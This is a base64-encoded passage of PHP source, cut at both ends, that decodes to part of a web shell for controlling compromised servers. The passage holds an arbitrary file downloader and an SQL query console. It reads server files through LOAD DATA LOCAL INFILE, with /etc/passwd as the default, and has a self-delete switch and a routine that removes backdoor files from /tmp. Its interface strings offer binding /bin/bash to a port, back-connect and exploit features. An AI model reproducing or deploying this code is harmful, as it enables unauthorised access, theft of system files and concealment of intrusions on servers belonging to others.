EZST00gJy4kdGFibGUpIT0xKSByZXR1cm4gMDsNCiAgCSBpZighJHRoaXMtPmdldF9yZXN1bHQoKSkgcmV0dXJuIDA7DQogIAkgZm9yKCRpPTA7JGk8JHRoaXMtPm51bV9yb3dzOyRpKyspDQogIAkgIHsNCiAgICAgIGZvcmVhY2goJHRoaXMtPnJvd3NbJGldIGFzICRrPT4kdikgeyR0aGlzLT5yb3dzWyRpXVska10gPSBAYWRkc2xhc2hlcygkdik7fQ0KICAJICAkdGhpcy0+ZHVtcFtdID0gJ0lOU0VSVCBJTlRPICcuJHRhYmxlLicgKCcuQGltcGxvZGUoIiwgIiwgJHRoaXMtPmNvbHVtbnMpLicpIFZBTFVFUyAoXCcnLkBpbXBsb2RlKCInLCAnIiwgJHRoaXMtPnJvd3NbJGldKS4nXCcpOyc7DQogIAkgIH0NCiAgICBicmVhazsNCiAgICBjYXNlICdPcmFjbGUnOg0KICAgICAgJHRoaXMtPmR1bXBbMF0gPSAnIyMgT1JBQ0xFIGR1bXAnOw0KICAgICAgJHRoaXMtPmR1bXBbXSAgPSAnIyMgdW5kZXIgY29uc3RydWN0aW9uJzsNCiAgICBicmVhazsNCiAgICBkZWZhdWx0Og0KICAgICByZXR1cm4gMDsNCiAgICBicmVhazsNCiAgICB9DQogICByZXR1cm4gMTsNCiAgfQ0KIGZ1bmN0aW9uIGNsb3NlKCkNCiAgew0KICAgc3dpdGNoKCR0aGlzLT5kYikNCiAgICB7DQogIAljYXNlICdNeVNRTCc6DQogIAkgQG15c3FsX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsNCiAgICBicmVhazsNCiAgICBjYXNlICdNU1NRTCc6DQogICAgIEBtc3NxbF9jbG9zZSgkdGhpcy0+Y29ubmVjdGlvbik7DQogICAgYnJlYWs7DQogICAgY2FzZSAnUG9zdGdyZVNRTCc6DQogICAgIEBwZ19jbG9zZSgkdGhpcy0+Y29ubmVjdGlvbik7DQogICAgYnJlYWs7DQogICAgY2FzZSAnT3JhY2xlJzoNCiAgICAgQG9jaV9jbG9zZSgkdGhpcy0+Y29ubmVjdGlvbik7DQogICAgYnJlYWs7DQogICAgfQ0KICB9DQogZnVuY3Rpb24gYWZmZWN0ZWRfcm93cygpDQogIHsNCiAgIHN3aXRjaCgkdGhpcy0+ZGIpDQogICAgew0KICAJY2FzZSAnTXlTUUwnOg0KICAJIHJldHVybiBAbXlzcWxfYWZmZWN0ZWRfcm93cygkdGhpcy0+cmVzKTsNCiAgICBicmVhazsNCiAgICBjYXNlICdNU1NRTCc6DQogICAgIHJldHVybiBAbXNzcWxfYWZmZWN0ZWRfcm93cygkdGhpcy0+cmVzKTsNCiAgICBicmVhazsNCiAgICBjYXNlICdQb3N0Z3JlU1FMJzoNCiAgICAgcmV0dXJuIEBwZ19hZmZlY3RlZF9yb3dzKCR0aGlzLT5yZXMpOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ09yYWNsZSc6DQogICAgIHJldHVybiBAb2Npcm93Y291bnQoJHRoaXMtPnJlcyk7DQogICAgYnJlYWs7DQogICAgZGVmYXVsdDoNCiAgICAgcmV0dXJuIDA7DQogICAgYnJlYWs7DQogICAgfQ0KICB9DQogfQ0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJkb3dubG9hZF9maWxlIiAmJiAhZW1wdHkoJF9QT1NUWydkX25hbWUnXSkpDQogew0KICBpZighJGZpbGU9QGZvcGVuKCRfUE9TVFsnZF9uYW1lJ10sInIiKSkgeyBlcnIoMSwkX1BPU1RbJ2RfbmFtZSddKTsgJF9QT1NUWydjbWQnXT0iIjsgfQ0KICBlbHNlDQogICB7DQogICAgQG9iX2NsZWFuKCk7DQogICAgJGZpbGVuYW1lID0gQGJhc2VuYW1lKCRfUE9TVFsnZF9uYW1lJ10pOw0KICAgICRmaWxlZHVtcCA9IEBmcmVhZCgkZmlsZSxAZmlsZXNpemUoJF9QT1NUWydkX25hbWUnXSkpOw0KICAgIGZjbG9zZSgkZmlsZSk7DQogICAgJGNvbnRlbnRfZW5jb2Rpbmc9JG1pbWVfdHlwZT0nJzsNCiAgICBjb21wcmVzcygkZmlsZW5hbWUsJGZpbGVkdW1wLCRfUE9TVFsnY29tcHJlc3MnXSk7DQogICAgaWYgKCFlbXB0eSgkY29udGVudF9lbmNvZGluZykpIHsgaGVhZGVyKCdDb250ZW50LUVuY29kaW5nOiAnIC4gJGNvbnRlbnRfZW5jb2RpbmcpOyB9DQogICAgaGVhZGVyKCJDb250ZW50LXR5cGU6ICIuJG1pbWVfdHlwZSk7DQogICAgaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuJGZpbGVuYW1lLiJcIjsiKTsNCiAgICBlY2hvICRmaWxlZHVtcDsNCiAgICBleGl0KCk7DQogICB9DQogfQ0KaWYoaXNzZXQoJF9HRVRbJ3BocGluZm8nXSkpIHsgZWNobyBAcGhwaW5mbygpOyBlY2hvICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+WyA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iOyBkaWUoKTsgfQ0KaWYgKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddPT0iZGJfcXVlcnkiKQ0KIHsNCiBlY2hvICRoZWFkOw0KICRzcWwgPSBuZXcgbXlfc3FsKCk7DQogJHNxbC0+ZGIgICA9ICRfUE9TVFsnZGInXTsNCiAkc3FsLT5ob3N0ID0gJF9QT1NUWydkYl9zZXJ2ZXInXTsNCiAkc3FsLT5wb3J0ID0gJF9QT1NUWydkYl9wb3J0J107DQogJHNxbC0+dXNlciA9ICRfUE9TVFsnbXlzcWxfbCddOw0KICRzcWwtPnBhc3MgPSAkX1BPU1RbJ215c3FsX3AnXTsNCiAkc3FsLT5iYXNlID0gJF9QT1NUWydteXNxbF9kYiddOw0KICRxdWVyeXMgPSBAZXhwbG9kZSgnOycsJF9QT1NUWydkYl9xdWVyeSddKTsNCiBlY2hvICc8Ym9keSBiZ2NvbG9yPUJsYWNrPic7DQogaWYoISRzcWwtPmNvbm5lY3QoKSkgZWNobyAiPGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9V2hpdGU+PGI+Q2FuJ3QgY29ubmVjdCB0byBTUUwgc2VydmVyPC9iPjwvZm9udD48L2Rpdj4iOw0KICBlbHNlDQogICB7DQogICBpZighZW1wdHkoJHNxbC0+YmFzZSkmJiEkc3FsLT5zZWxlY3RfZGIoKSkgZWNobyAiPGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9V2hpdGU+PGI+Q2FuJ3Qgc2VsZWN0IGRhdGFiYXNlPC9iPjwvZm9udD48L2Rpdj4iOw0KICAgZWxzZQ0KICAgIHsNCiAgICBmb3JlYWNoKCRxdWVyeXMgYXMgJG51bT0+JHF1ZXJ5KQ0KICAgICB7DQogICAgICBpZihzdHJsZW4oJHF1ZXJ5KT41KQ0KICAgICAgew0KICAgICAgZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9V2hpdGU+PGI+UXVlcnkjIi4kbnVtLiIgOiAiLmh0bWxzcGVjaWFsY2hhcnMoJHF1ZXJ5LEVOVF9RVU9URVMpLiI8L2I+PC9mb250Pjxicj4iOw0KICAgICAgc3dpdGNoKCRzcWwtPnF1ZXJ5KCRxdWVyeSkpDQogICAgICAgew0KICAgICAgIGNhc2UgJzAnOg0KICAgICAgIGVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlPjx0cj48dGQgY2xhc3M9bWFpbj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj5FcnJvciA6IDxiPiIuJHNxbC0+ZXJyb3IuIjwvYj48L2ZvbnQ+PC90ZD48L3RyPjwvdGFibGU+IjsNCiAgICAgICBicmVhazsNCiAgICAgICBjYXNlICcxJzoNCiAgICAgICBpZigkc3FsLT5nZXRfcmVzdWx0KCkpDQogICAgICAgIHsNCiAgICAgICAJZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgYm9yZGVyPTAgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wPiI7DQogICAgICAgIGZvcmVhY2goJHNxbC0+Y29sdW1ucyBhcyAkaz0+JHYpICRzcWwtPmNvbHVtbnNbJGtdID0gaHRtbHNwZWNpYWxjaGFycygkdixFTlRfUVVPVEVTKTsNCiAgICAgICAJJGtleXMgPSBAaW1wbG9kZSgiJm5ic3A7PC9iPjwvZm9udD48L3RkPjx0ZCBjbGFzcz1tYWluPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiZuYnNwOyIsICRzcWwtPmNvbHVtbnMpOw0KICAgICAgICBlY2hvICI8dHI+PHRkIGNsYXNzPW1haW4gYmdjb2xvcj1XaGl0ZT48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4mbmJzcDsiLiRrZXlzLiImbmJzcDs8L2I+PC9mb250PjwvdGQ+PC90cj4iOw0KICAgICAgICBmb3IoJGk9MDskaTwkc3FsLT5udW1fcm93czskaSsrKQ0KICAgICAgICAgew0KICAgICAgICAgZm9yZWFjaCgkc3FsLT5yb3dzWyRpXSBhcyAkaz0+JHYpICRzcWwtPnJvd3NbJGldWyRrXSA9IGh0bWxzcGVjaWFsY2hhcnMoJHYsRU5UX1FVT1RFUyk7DQogICAgICAgICAkdmFsdWVzID0gQGltcGxvZGUoIiZuYnNwOzwvZm9udD48L3RkPjx0ZCBjbGFzcz1tYWluPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiZuYnNwOyIsJHNxbC0+cm93c1skaV0pOw0KICAgICAgICAgZWNobyAnPHRyPjx0ZCBjbGFzcz1tYWluPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiZuYnNwOycuJHZhbHVlcy4nJm5ic3A7PC9mb250PjwvdGQ+PC90cj4nOw0KICAgICAgICAgfQ0KICAgICAgICBlY2hvICI8L3RhYmxlPiI7DQogICAgICAgIH0NCiAgICAgICBicmVhazsNCiAgICAgICBjYXNlICcyJzoNCiAgICAgICAkYXIgPSAkc3FsLT5hZmZlY3RlZF9yb3dzKCk/KCRzcWwtPmFmZmVjdGVkX3Jvd3MoKSk6KCcwJyk7DQogICAgICAgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCU+PHRyPjx0ZCBjbGFzcz1tYWluPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPmFmZmVjdGVkIHJvd3MgOiA8Yj4iLiRhci4iPC9iPjwvZm9udD48L3RkPjwvdHI+PC90YWJsZT48YnI+IjsNCiAgICAgICBicmVhazsNCiAgICAgICB9DQogICAgICB9DQogICAgIH0NCiAgICB9DQogICAgZWNobyAiPGJyPjxkaXYgYWxpZ249bGVmdCBpZD0nbic+PHRhYmxlIHdpZHRoPTEwMCUgaGVpZ2h0PTYwIGJvcmRlcj0wIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MD4iOw0KICAgIGVjaG8gIjx0cj48dGQgYWxpZ249Y2VudGVyPjxiPlNob3cgRGF0YWJhc2U8L2I+PC90ZD48dGQgYWxpZ249Y2VudGVyPjxiPlNob3cgVGFibGVzPC9iPjwvdGQ+PC90cj4iOw0KICAgIGVjaG8gIjx0cj48dGQ+PHRleHRhcmVhIGNvbHM9NTAgcm93cz02IG5hbWU9cXVlcnlfZGI+IjsNCiAgICAkcXVlcnlfZGIgPSBteXNxbF9xdWVyeSgiU0hPVyBEQVRBQkFTRVM7Iik7DQogICAgd2hpbGUgKCRxdWVyeV9kYl9yb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnlfZGIpKQ0KICAgIHsNCiAgICAJZWNobyAkcXVlcnlfZGJfcm93WzBdLiJcbiI7DQogICAgfQ0KICAgIGVjaG8gIjwvdGV4dGFyZWE+PC90ZD48dGQ+PGRpdiBhbGlnbj1yaWdodD48dGV4dGFyZWEgY29scz02MCByb3dzPTYgbmFtZT1xdWVyeV90YWJsZXM+IjsNCiAgICBpZiAoKCRfUE9TVFsnbXlzcWxfZGInXSkgJiYgJHNxbC0+c2VsZWN0X2RiKCkpDQogICAgew0KICAgICAkcXVlcnlfdGFibGVzID0gbXlzcWxfcXVlcnkoIlNIT1cgVEFCTEVTOyIpOw0KICAgICB3aGlsZSAoJHF1ZXJ5X3RhYmxlc19yb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnlfdGFibGVzKSkNCiAgICAgew0KICAgICAJZWNobyAkcXVlcnlfdGFibGVzX3Jvd1swXS4iXG4iOw0KICAgICB9DQogICAgfQ0KICAgIGVjaG8gIjwvdGV4dGFyZWE+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+PC9kaXY+IjsNCiAgIH0NCiBlY2hvICI8YnI+PGZvcm0gbmFtZT1mb3JtIG1ldGhvZD1QT1NUPiI7DQogZWNobyBpbignaGlkZGVuJywnZGInLDAsJF9QT1NUWydkYiddKTsNCiBlY2hvIGluKCdoaWRkZW4nLCdkYl9zZXJ2ZXInLDAsJF9QT1NUWydkYl9zZXJ2ZXInXSk7DQogZWNobyBpbignaGlkZGVuJywnZGJfcG9ydCcsMCwkX1BPU1RbJ2RiX3BvcnQnXSk7DQogZWNobyBpbignaGlkZGVuJywnbXlzcWxfbCcsMCwkX1BPU1RbJ215c3FsX2wnXSk7DQogZWNobyBpbignaGlkZGVuJywnbXlzcWxfcCcsMCwkX1BPU1RbJ215c3FsX3AnXSk7DQogZWNobyBpbignaGlkZGVuJywnbXlzcWxfZGInLDAsJF9QT1NUWydteXNxbF9kYiddKTsNCiBlY2hvIGluKCdoaWRkZW4nLCdjbWQnLDAsJ2RiX3F1ZXJ5Jyk7DQogZWNobyAiPGRpdiBhbGlnbj1jZW50ZXI+IjsNCiBlY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5Vc2UgZGF0YWJhc2U6IDwvYj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bXlzcWxfZGIgdmFsdWU9XCIiLiRzcWwtPmJhc2UuIlwiPjwvZm9udD48YnI+IjsNCiBlY2hvICI8dGV4dGFyZWEgY29scz02NSByb3dzPTEwIG5hbWU9ZGJfcXVlcnk+Ii4oIWVtcHR5KCRfUE9TVFsnZGJfcXVlcnknXSk/KCRfUE9TVFsnZGJfcXVlcnknXSk6KCJTSE9XIERBVEFCQVNFUzsiKSkuIjwvdGV4dGFyZWE+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIiBSdW4gU1FMIHF1ZXJ5IFwiPjwvZGl2Pjxicj48YnI+IjsNCiBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5Mb2FkIGZpbGU6IDwvYj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bG9hZGZpbGUgc2l6ZT0xMDAgdmFsdWU9Ii4oIWVtcHR5KCRfUE9TVFsnbG9hZGZpbGUnXSk/KCRfUE9TVFsnbG9hZGZpbGUnXSk6KCIvZXRjL3Bhc3N3ZCIpKS4iPiIud3MoMikuIjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIiBMb2FkIFwiPjxiciAvPjxiciAvPiI7DQogZWNobyAiPGI+RmlsZSBjb250ZW50PC9iPjxicj48YnI+IjsNCiBlY2hvICI8dGV4dGFyZWEgY29scz0xMjEgcm93cz0xNSBuYW1lPXNob3dsb2FkZmlsZT4iOw0KIEBteXNxbF9xdWVyeSgiRFJPUCBUQUJMRSBJRiBFWElTVFMgQWx1Y2FyIik7DQogQG15c3FsX3F1ZXJ5KCJDUkVBVEUgVEFCTEUgYEFsdWNhcmAgKCBgZmlsZWAgTE9OR0JMT0IgTk9UIE5VTEwgKSIpOw0KIEBteXNxbF9xdWVyeSgiTE9BRCBEQVRBIExPQ0FMIElORklMRSBcIiIuc3RyX3JlcGxhY2UoJ1xcJywnLycsJF9QT1NUWydsb2FkZmlsZSddKS4iXCIgSU5UTyBUQUJMRSBBbHVjYXIgRklFTERTIFRFUk1JTkFURUQgQlkgJycgRVNDQVBFRCBCWSAnJyBMSU5FUyBURVJNSU5BVEVEIEJZICdcbiciKTsNCiAkciA9IEBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSBBbHVjYXIiKTsNCiB3aGlsZSgoJHJfc3FsID0gQG15c3FsX2ZldGNoX2FycmF5KCRyKSkpIHsgZWNobyBAaHRtbHNwZWNpYWxjaGFycygkcl9zcWxbMF0pOyB9DQogQG15c3FsX3F1ZXJ5KCJEUk9QIFRBQkxFIElGIEVYSVNUUyBBbHVjYXIiKTsNCiBlY2hvICI8L3RleHRhcmVhPjwvZGl2PiI7DQogZWNobyAiPC9mb3JtPiI7DQogZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlsgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+IjsgZGllKCk7DQogfQ0KaWYoaXNzZXQoJF9HRVRbJ2RlbGV0ZSddKSkNCiB7DQogICBAdW5saW5rKF9fRklMRV9fKTsNCiB9DQppZihpc3NldCgkX0dFVFsndG1wJ10pKQ0KIHsNCiAgIEB1bmxpbmsoIi90bXAvYmRwbCIpOw0KICAgQHVubGluaygiL3RtcC9iYWNrIik7DQogICBAdW5saW5rKCIvdG1wL2JkIik7DQogICBAdW5saW5rKCIvdG1wL2JkLmMiKTsNCiAgIEB1bmxpbmsoIi90bXAvZHAiKTsNCiAgIEB1bmxpbmsoIi90bXAvZHBjIik7DQogICBAdW5saW5rKCIvdG1wL2RwYy5jIik7DQogfQ0KaWYoaXNzZXQoJF9HRVRbJ3BocGluaSddKSkNCnsNCmVjaG8gJGhlYWQ7DQpmdW5jdGlvbiBVX3ZhbHVlKCR2YWx1ZSkNCiB7DQogaWYgKCR2YWx1ZSA9PSAnJykgcmV0dXJuICc8aT5ubyB2YWx1ZTwvaT4nOw0KIGlmIChAaXNfYm9vbCgkdmFsdWUpKSByZXR1cm4gJHZhbHVlID8gJ1RSVUUnIDogJ0ZBTFNFJzsNCiBpZiAoJHZhbHVlID09PSBudWxsKSByZXR1cm4gJ05VTEwnOw0KIGlmIChAaXNfb2JqZWN0KCR2YWx1ZSkpICR2YWx1ZSA9IChhcnJheSkgJHZhbHVlOw0KIGlmIChAaXNfYXJyYXkoJHZhbHVlKSkNCiB7DQogQG9iX3N0YXJ0KCk7DQogcHJpbnRfcigkdmFsdWUpOw0KICR2YWx1ZSA9IEBvYl9nZXRfY29udGVudHMoKTsNCiBAb2JfZW5kX2NsZWFuKCk7DQogfQ0KIHJldHVybiBVX3dvcmR3cmFwKChzdHJpbmcpICR2YWx1ZSk7DQogfQ0KZnVuY3Rpb24gVV93b3Jkd3JhcCgkc3RyKQ0KIHsNCiAkc3RyID0gQHdvcmR3cmFwKEBodG1sc3BlY2lhbGNoYXJzKCRzdHIpLCAxMDAsICc8d2JyIC8+JywgdHJ1ZSk7DQogcmV0dXJuIEBwcmVnX3JlcGxhY2UoJyEoJlteO10qKTx3YnIgLz4oW147XSo7KSEnLCAnJDEkMjx3YnIgLz4nLCAkc3RyKTsNCiB9DQppZiAoQGZ1bmN0aW9uX2V4aXN0cygnaW5pX2dldF9hbGwnKSkNCiB7DQogJHIgPSAnJzsNCiBlY2hvICc8dGFibGUgd2lkdGg9MTAwJT4nLCAnPHRyPjx0ZCBjbGFzcz1tYWluIGJnY29sb3I9IzgzYzgwOT48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1XaGl0ZT48ZGl2IGFsaWduPWNlbnRlcj48Yj5EaXJlY3RpdmU8L2I+PC9kaXY+PC9mb250PjwvdGQ+PHRkIGNsYXNzPW1haW4gYmdjb2xvcj0jODNjODA5Pjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPVdoaXRlPjxkaXYgYWxpZ249Y2VudGVyPjxiPkxvY2FsIFZhbHVlPC9iPjwvZGl2PjwvZm9udD48L3RkPjx0ZCBjbGFzcz1tYWluIGJnY29sb3I9IzgzYzgwOT48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1XaGl0ZT48ZGl2IGFsaWduPWNlbnRlcj48Yj5NYXN0ZXIgVmFsdWU8L2I+PC9kaXY+PC9mb250PjwvdGQ+PC90cj4nOw0KIGZvcmVhY2ggKEBpbmlfZ2V0X2FsbCgpIGFzICRrZXk9PiR2YWx1ZSkNCiAgew0KICAkciAuPSAnPHRyPjx0ZCBjbGFzcz1tYWluPicud3MoMykuJzxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPicuJGtleS4nPC9iPjwvZm9udD48L3RkPjx0ZCBjbGFzcz1tYWluPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxkaXYgYWxpZ249Y2VudGVyPjxiPicuVV92YWx1ZSgkdmFsdWVbJ2xvY2FsX3ZhbHVlJ10pLic8L2I+PC9kaXY+PC9mb250PjwvdGQ+PHRkIGNsYXNzPW1haW4+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGRpdiBhbGlnbj1jZW50ZXI+PGI+Jy5VX3ZhbHVlKCR2YWx1ZVsnZ2xvYmFsX3ZhbHVlJ10pLic8L2I+PC9kaXY+PC9mb250PjwvdGQ+PC90cj4nOw0KICB9DQogZWNobyAkcjsNCiBlY2hvICc8L3RhYmxlPic7DQogfQ0KZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlsgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+IjsNCmRpZSgpOw0KfQ0KaWYoaXNzZXQoJF9HRVRbJ2NwdSddKSkNCiB7DQogICBlY2hvICRoZWFkOw0KICAgZWNobyAnPHRhYmxlIHdpZHRoPTEwMCU+PHRyPjx0ZCBjbGFzcz1tYWluIGJnY29sb3I9QmxhY2s+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9V2hpdGU+PGI+Q1BVPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT48dGFibGUgd2lkdGg9MTAwJT4nOw0KICAgJGNwdWYgPSBAZmlsZSgiY3B1aW5mbyIpOw0KICAgaWYoJGNwdWYpDQogICAgew0KICAgICAgJGMgPSBAc2l6ZW9mKCRjcHVmKTsNCiAgICAgIGZvcigkaT0wOyRpPCRjOyRpKyspDQogICAgICAgIHsNCiAgICAgICAgICAkaW5mbyA9IEBleHBsb2RlKCI6IiwkY3B1ZlskaV0pOw0KICAgICAgICAgIGlmKCRpbmZvWzFdPT0iIil7ICRpbmZvWzFdPSItLS0iOyB9DQogICAgICAgICAgJHIgLj0gJzx0cj48dGQgY2xhc3M9bWFpbj4nLndzKDMpLic8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4nLnRyaW0oJGluZm9bMF0pLic8L2I+PC9mb250PjwvdGQ+PHRkIGNsYXNzPW1haW4+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGRpdiBhbGlnbj1jZW50ZXI+PGI+Jy50cmltKCRpbmZvWzFdKS4nPC9iPjwvZGl2PjwvZm9udD48L3RkPjwvdHI+JzsNCiAgICAgICAgfQ0KICAgICAgZWNobyAkcjsNCiAgICB9DQogICBlbHNlDQogICAgew0KICAgICAgZWNobyAnPHRyPjx0ZCBjbGFzcz1tYWluPicud3MoMykuJzxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiAtLS0gPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+JzsNCiAgICB9DQogICBlY2hvICc8L3RhYmxlPic7DQogICBlY2hvICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+WyA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iOw0KICAgZGllKCk7DQogfQ0KaWYoaXNzZXQoJF9HRVRbJ21lbSddKSkNCiB7DQogICBlY2hvICRoZWFkOw0KICAgZWNobyAnPHRhYmxlIHdpZHRoPTEwMCU+PHRyPjx0ZCBjbGFzcz1tYWluIGJnY29sb3I9QmxhY2s+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9V2hpdGU+PGI+TUVNT1JZPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT48dGFibGUgd2lkdGg9MTAwJT4nOw0KICAgJG1lbWYgPSBAZmlsZSgibWVtaW5mbyIpOw0KICAgaWYoJG1lbWYpDQogICAgew0KICAgICAgJGMgPSBzaXplb2YoJG1lbWYpOw0KICAgICAgZm9yKCRpPTA7JGk8JGM7JGkrKykNCiAgICAgICAgew0KICAgICAgICAgICRpbmZvID0gZXhwbG9kZSgiOiIsJG1lbWZbJGldKTsNCiAgICAgICAgICBpZigkaW5mb1sxXT09IiIpeyAkaW5mb1sxXT0iLS0tIjsgfQ0KICAgICAgICAgICRyIC49ICc8dHI+PHRkIGNsYXNzPW1haW4+Jy53cygzKS4nPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Jy50cmltKCRpbmZvWzBdKS4nPC9iPjwvZm9udD48L3RkPjx0ZCBjbGFzcz1tYWluPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxkaXYgYWxpZ249Y2VudGVyPjxiPicudHJpbSgkaW5mb1sxXSkuJzwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48L3RyPic7DQogICAgICAgIH0NCiAgICAgIGVjaG8gJHI7DQogICAgfQ0KICAgZWxzZQ0KICAgIHsNCiAgICAgIGVjaG8gJzx0cj48dGQgY2xhc3M9bWFpbj4nLndzKDMpLic8ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4gLS0tIDwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPic7DQogICAgfQ0KICAgZWNobyAnPC90YWJsZT4nOw0KICAgZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlsgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+IjsNCiAgIGRpZSgpOw0KIH0NCiRsYW5nPWFycmF5KA0KLyogLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tICovDQonZW5nX3RleHQxJyA9PidFeGVjdXRlZCBjb21tYW5kJywNCidlbmdfdGV4dDInID0+J0V4ZWN1dGUgY29tbWFuZCBvbiBzZXJ2ZXInLA0KJ2VuZ190ZXh0MycgPT4nUnVuIGNvbW1hbmQnLA0KJ2VuZ190ZXh0NCcgPT4nV29yayBkaXJlY3RvcnknLA0KJ2VuZ190ZXh0NScgPT4nVXBsb2FkIGZpbGVzIG9uIHNlcnZlcicsDQonZW5nX3RleHQ2JyA9PidMb2NhbCBmaWxlJywNCidlbmdfdGV4dDcnID0+J0FsaWFzZXMnLA0KJ2VuZ190ZXh0OCcgPT4nU2VsZWN0IGFsaWFzJywNCidlbmdfYnV0dDEnID0+J0V4ZWN1dGUnLA0KJ2VuZ19idXR0MicgPT4nVXBsb2FkJywNCidlbmdfdGV4dDknID0+J0JpbmQgcG9ydCB0byAvYmluL2Jhc2gnLA0KJ2VuZ190ZXh0MTAnPT4nUG9ydCcsDQonZW5nX3RleHQxMSc9PidQYXNzd29yZCBmb3IgYWNjZXNzJywNCidlbmdfYnV0dDMnID0+J0JpbmQnLA0KJ2VuZ190ZXh0MTInPT4nYmFjay1jb25uZWN0JywNCidlbmdfdGV4dDEzJz0+J0lQJywNCidlbmdfdGV4dDE0Jz0+J1BvcnQnLA0KJ2VuZ19idXR0NCcgPT4nQ29ubmVjdCcsDQonZW5nX3RleHQxNSc9PidVcGxvYWQgZmlsZXMgZnJvbSByZW1vdGUgc2VydmVyJywNCidlbmdfdGV4dDE2Jz0+J1dpdGgnLA0KJ2VuZ190ZXh0MTcnPT4nUmVtb3RlIGZpbGUnLA0KJ2VuZ190ZXh0MTgnPT4nTG9jYWwgZmlsZScsDQonZW5nX3RleHQxOSc9PidFeHBsb2l0cycsDQonZW5nX3RleHQyMCc9PidVc2UnLA0KJ2VuZ190ZXh0MjEnPT4nJm5ic3A7TmV3IG5hbWUnLA0KJ2VuZ190ZXh0MjInPT4nZGF0YXBpcGUnLA0KJ2VuZ190ZXh0MjMnPT4nTG9jYWwgcG9ydCcsDQonZW5nX3